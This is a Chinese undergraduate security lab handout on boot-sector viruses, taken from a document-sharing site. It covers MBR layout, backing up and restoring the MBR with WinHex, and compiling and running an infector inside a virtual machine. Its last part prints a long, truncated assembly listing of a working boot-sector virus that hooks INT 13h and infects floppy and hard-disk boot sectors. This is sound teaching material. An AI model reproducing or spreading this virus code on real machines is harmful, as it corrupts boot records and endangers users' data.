实验简介实验报告.doc_第1页
实验简介实验报告.doc_第2页
实验简介实验报告.doc_第3页
实验简介实验报告.doc_第4页
实验简介实验报告.doc_第5页
已阅读5页,还剩21页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

实验简介o 实验所属系列:恶意代码原理o 实验对象: 本科/专科信息安全专业o 相关课程及专业:信息网络安全概论、汇编语言o 实验时数(学分):2学时o 实验类别:实践实验类实验目的通过实验,了解引导区病毒的感染对象和感染特征,重点学习引导病毒的感染机制和恢复感染染毒文件的方法,提高汇编语言的使用能力。预备知识本实验要求实验者具备如下的相关知识。1.主引导记录 主引导记录(Master Boot Record,缩写:MBR),又叫做主引导扇区,是计算机开机后访问硬盘时所必须要读取的首个扇区,它在硬盘上的三维地址为(柱面,磁头,扇区)(0,0,1),也就是硬盘的第一个物理扇区。 当我择从硬盘启动时,由 bois从该扇区读入引导代码。MBR关键数据可分为3部分: (1) 引导代码 (2) 分区表 (3) 结束标志(55AA) 硬盘的主引导程序代码是从偏移0000H开始到偏移01BDH结束的446字节;主引导程序代码包括一小段执行代码。启动PC 机时,系统首先对硬件设备进行测试,成功后进入自举程序INT 19H;然后读系统磁盘0柱面、0磁头、1扇区的主引导扇区MBR的内容到内存指定单元0:7C00 首地址开始的区域,并执行MBR程序段。 分区表用以管理整个磁盘空间的划分。它从MBR的0x1BE偏移开始,有4个表项,每项16个字节,因此最多只能可以建立4个主分区。微软为了克服这个数 量限制,设计了扩展分区的方式。所谓扩展分区就是分区表中指向的一个普通分区而已,只是在它自己分区内部又有特殊的结构,使得我们可以分出多个逻辑分区, 我们平时看到的d、e、f等驱动器实际上都是扩展分区内部划分的逻辑分区,当你用winhex查看你的分区表,会发现里面只有两项,一项代表C盘分区,另 外一项就是代表其他所有驱动器之和的扩展分区了,当然如果自己分了其他主分区的情况除外。 标准 MBR 结构如下表所示:nnn地址描述长度(字节)HexDec00000代码区440ntnt(最大 446)01B8440选用磁盘标志401BC444一般为空值; 0x0000201BE446标准 MBR 分区表规划ntnt(四个16 byte的主分区表入口)6401FE51055hMBR 有效标志:ntnt0x55AA201FF511AAhMBR, 总大小: 446 + 64 + 2 =5122.引导型病毒 引导型病毒是在安装操作系统之前进入内存,寄生对象相对固定,都在磁盘引导扇区中,病毒引导程序占用了原系统引导程序的位置,并把原系统引导程序搬移到一 个特定的地方。这样,系统启动时,病毒引导模块就会自动地装入内存并获得执行权,然后该引导程序负责将病毒程序的传染模块和干扰、破坏模块装入内存的适当 位置,并采取常驻内存技术以保证这两个模块不会被覆盖,接着对该两个模块设定某种激活方式,使之在适当的时候取得执行权。处理完这些工作后,病毒引导模块 将系统引导模块装入内存,使系统在带毒状态下运行。3.病毒清除 如果主引导区被病毒感染,可以用fdisk /mbr命令修复MBR,或用备份的MBR覆盖主引导区来清除病毒,但是有造成分区信息丢失的风险,可能造成系统无法正常启动。4.winhex 是一款以通用的16进制编辑器为核心,专门用来对付计算机取证、数据恢复、低级数据处理、以及 IT 安全性、各种日常紧急情况的高级工具: 用来检查和修复各种文件、恢复删除文件、硬盘损坏、数码相机卡损坏造成的数据丢失等。实验环境一台安装了windows 2003操作系统的主机,在C:/virus/文件夹中有实验工具。登录进入操作控制台,运行桌面上“Oracle VM Virtual box”程序,等程序启动后,选中“win2003内网”虚拟机并点击“运行”,如下图所示:等virtual box虚拟机运行后,输入用户名:administartor,密码:123456进入另一windows虚拟机,本实验的操作在该虚拟机内进行,如下图红色框内为本实验操作台:实验步骤一用Winhex查看硬盘MBR信息1、打开winhex依次打开C盘“virus”文件夹,找到winhex文件夹,双击setup.exe进行安装,默认安装后双击图标运行winhex程序,出现如下窗口:2、使用winhex打开硬盘,分析硬盘信息 依次点击:“工具”,“打开磁盘”,出现下图: 打开物理硬盘C盘,可以查看与编辑硬盘信息。 找到第一扇区末尾:000001F0处,查看末尾标志是否为55AA。3、根据看到的信息,查找资料,分析硬盘的分区信息。字节位置(从01BE开始)内容及含义第1字节引导标志。若值为80H表示活动分区;若值为00H表示非活动分区。第2、3、4字节本分区的起始磁头号、扇区号、柱面号第5字节分区类型符:00H表示该分区未用06HFAT16基本分区0BHFAT32基本分区05H扩展分区07HNTFS分区0FH(LBA模式)扩展分区83H Linux分区第6、7、8字节本分区的结束磁头号、扇区号、柱面号第9、10、11、12字节本分区之前已用了的扇区数第13、14、15、16字节本分区的总扇区数 描述下列分区表信息: 检查点一:使用winhex对MBR进行备份1、选择0扇区所有内容 选中0扇区的第一个字节,即33,按alt+1设定需要选定块的开头; 下拉页面到0001FF处,注意每个扇区的间隔处有一条细线很明显的分隔开了两个扇区。选中 55 AA 处中的 AA,并按alt+2,设定块的结尾; 设定好之后整个0扇区变为浅蓝色:2、保存MBR数据为文件 在编辑中选择复制块-到新文件: 保存到新的文件中,该文件即为MBR的备份文件。3、查看备份文件 打开刚保存的mbr文件,可以查看其内容。 对比该文件内容是否与刚选中的0扇区内容相同。4、还原MBR 运行 winhex,打开出问题的磁盘并跳转到0扇区和上面相同,也要选中0扇区的起始扇区与结束扇区将前面备份好的文件拖入winhex,它会打开一个新页面。 对前面备份好的内容ctrl+a, ctrl+c(都懂的吧)回到硬盘的0扇区,将光标定位到第一个字节,在编辑中选择 剪贴板-写入 (ctrl+b) 。它会提示是否要写入内容到0扇区,当然选是退出winhex的时候保存对硬盘的改动。任务一MBR(主引导记录)的大小为:【单选题】题目已完成!【A】1个扇区【B】440字节【C】64K【D】64字节实验步骤二编译并运行引导区病毒程序1. 安装DOS引导系统 在c盘找到ardos文件,并双击执行安装矮人DOS工具: 出现运行界面后点击下一步,安装DOS引导系统: 接下来继续“下一步”,执行默认安装直到安装结束。 重新启动实验机,在启动菜单选择“DOS工具箱” 选择工具箱后,在MS-DOS启动项选择“NORMAL BOOT”并回车: 在矮人DOS工具箱菜单项中选择么一项:进入矮人DOS工具盘 使用方向键与空格键选中“加载NTFS分区读写”,然后键入“O”确定,如下图: 按照屏幕提示,敲击任意键继续下一步,要记住将NTFS挂接的驱动器号(本例中为F盘): 按任意键继续下一步,如下图: 可以看到已经引导到C盘:2. 编译与运行引导区病毒程序 输入“F:”进入F盘(前面所挂接的NTFS盘); 输入“dir”命令可以看到有一个“virus”文件夹; 输入“cd virus”命令进入该文件夹; 输入“dir”命令可以看到“virus”文件夹下的文件。 输入“cd masm5”命令进入汇编环境; 如下图所示: 在masm5中1.asm为病毒源码,如下图: 输入“masm 1.asm”生成OBJ文件,提示文件名时直接回车,采用默认的文件名: 输入“link 1”连接文件 输入“dir”后可以看到已经生成1.exe的可执行文件,键入“1”或“1.exe执行: 执行完成后重启该实验机: 重启后会发现在启动前出现病毒提示: 回车后正常启动windows系统。用Winhex查看硬盘MBR信息 使用步骤一中的方法分析硬盘MBR信息,将分析结果写入实验报告中。任务二MBR(主引导记录)中记录的信息不包括:【单选题】实验步骤三还原MBR 运行 winhex,分别打开保存的MBR文件与目标物理硬盘(方法参考步骤一)。 对前面备份好的内容ctrl+a, ctrl+c,回到硬盘的0扇区,将光标定位到第一个字节,在编辑中选择 剪贴板-写入 (ctrl+b) 。 它会提示是否要写入内容到0扇区,当然选是退出winhex的时候保存对硬盘的改动。 重新启动实验机,观察启动过程与病毒感染前有何不同。任务六:病毒源码分析;1.asm引导区病毒样例;制作方法:tasm boot.asm; tlink boot.asm;生成boot.exe,执行即可.286.model small.code;程序入口参数;ax=内存高端地址 bx=7c00h 引导程序起始地址;cx=0001h 表示从ch(00)磁道cl(01)扇区读出了本程序;dx=00/80h 表示从dx(00:A驱)(80:C驱)读出了本程序;ds=es=ss=cs=0 初始段值OFF equ VirusSize=OFF End-OFF StartStart:jmp short BeginVirusFlag db V ;病毒标志BootData: ;这里有两个重要数据结构,不能是代码org 50h ;病毒从Offset50h开始,病毒未用以上数据Begin: ;但其它程序可能使用,故须保留mov bx,7c00hmov sp,bx ;设sp,使ss:sp=0:7c00hstimov ax,ds:413h ;得到内存大小(0:413h单元存有以K计数的内存大小)dec axdec axmov ds:413h,ax ;将原内存大小减2Kmov cl,06shl ax,cl ;计算高端内存地址mov es,axxor di,dimov si,spmov cx,VirusSizecldrep movsb ;把病毒搬移到高端地址里push axmov di,OFF HighAddrpush diretf ;跳到高端继续执行HighAddr:cli ;修改中断向量前,最好关中断xchg ds:13h*4+2,axmov cs:OldInt13Seg,axmov ax,OFF NewInt13xchg ds:13h*4,axmov cs:OldInt13Off,ax ;修改中断13hpush dspop es ;把es复位为0cmp dl,80h ;是否从硬盘引导?jz short ReadOldHardBootpush dx ; 从软盘引导,则传染硬盘mov dl,80hcall OptDisk ;调用传染模块pop dxReadOldFlopyBoot: ;读出原软盘引导程序mov ax,0201hmov cx,79*100h+17 ;传染时将原引导程序保存在0面79道17扇区中mov dh,00hcall CallInt13jc short ReadOldFlopyBoot ;失败,继续读直到成功ExecOldBoot:cmp es:bx.Flags,0aa55hjnz ExecOldBootmov ah,02hint 1ah ;取系统时间cmp cx,1*100h+30 ;是否大于01:30分jb ExitDisp ;未到,则不显示lea si,VirusMsgDispMsg:mov al,cs:siinc simov ah,0ehint 10h ;显示al中的字符or al,aljnz DispMsgxor ax,axint 16hExitDisp:mov cx,0001h ;恢复cx初值push espush bxretf ;去执行原引导程序ReadOldHardBoot:mov ax,0201hmov cx,0002h ;传染时将原硬盘主引导程序保存在0面0道2扇区中mov dh,00hcall CallInt13 ;读出jc short ReadOldHardBoot ;失败,继续读直到成功jmp short ExecOldBoot ;去执行原引导程序NewInt13: ;新Int 13h(传染块)cmp dx,0000h ;是软盘吗?jnz short JmpOldInt13cmp ah,02hjnz short JmpOldInt13cmp cx,0001hjnz short JmpOldInt13call OptDisk ;若发现读软盘扇区,则感染软盘JmpOldInt13:cliJmpFar db 0eah ;远跳转指令OldInt13Off dw ?OldInt13Seg dw ?CallInt13:pushf ;模拟Int 13h指令push cscall JmpOldInt13retOptDisk: ;传染dl表示的磁盘(dl-0 A: 80:C)pushapush dspush es ;保存段址与通用寄存器push cspop espush cspop ds ;使ds=es=csmov bx,OFF OldBootSpacemov ax,0201hmov cx,0001hmov dh,00hcall CallInt13 ;读原引导扇区jc short OptOvermov di,bxcmp ds:di.VirusFlag,V ;判断是否已经有病毒?jz short OptOver ;若有,则退出cmp dl,00hjz short IsOptFlopyDiskIsOptHardDisk:mov cx,0002h ;若是硬盘,保存在0面0道2扇区jmp short SaveOldBootIsOptFlopyDisk:mov cx,79*100h+17 ;若是软盘,保存在0面79道17扇区SaveOldBoot:mov ax,0301hmov dh,0hcall CallInt13 ;保存原引导扇区jc short OptOvermov si,OFF Startcldmovswmovsb ;修改原扇区首指令(Jmp near 3字节)mov di,OFF Begin+200hmov si,OFF Beginmov cx,OFF End-OFF Begi

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论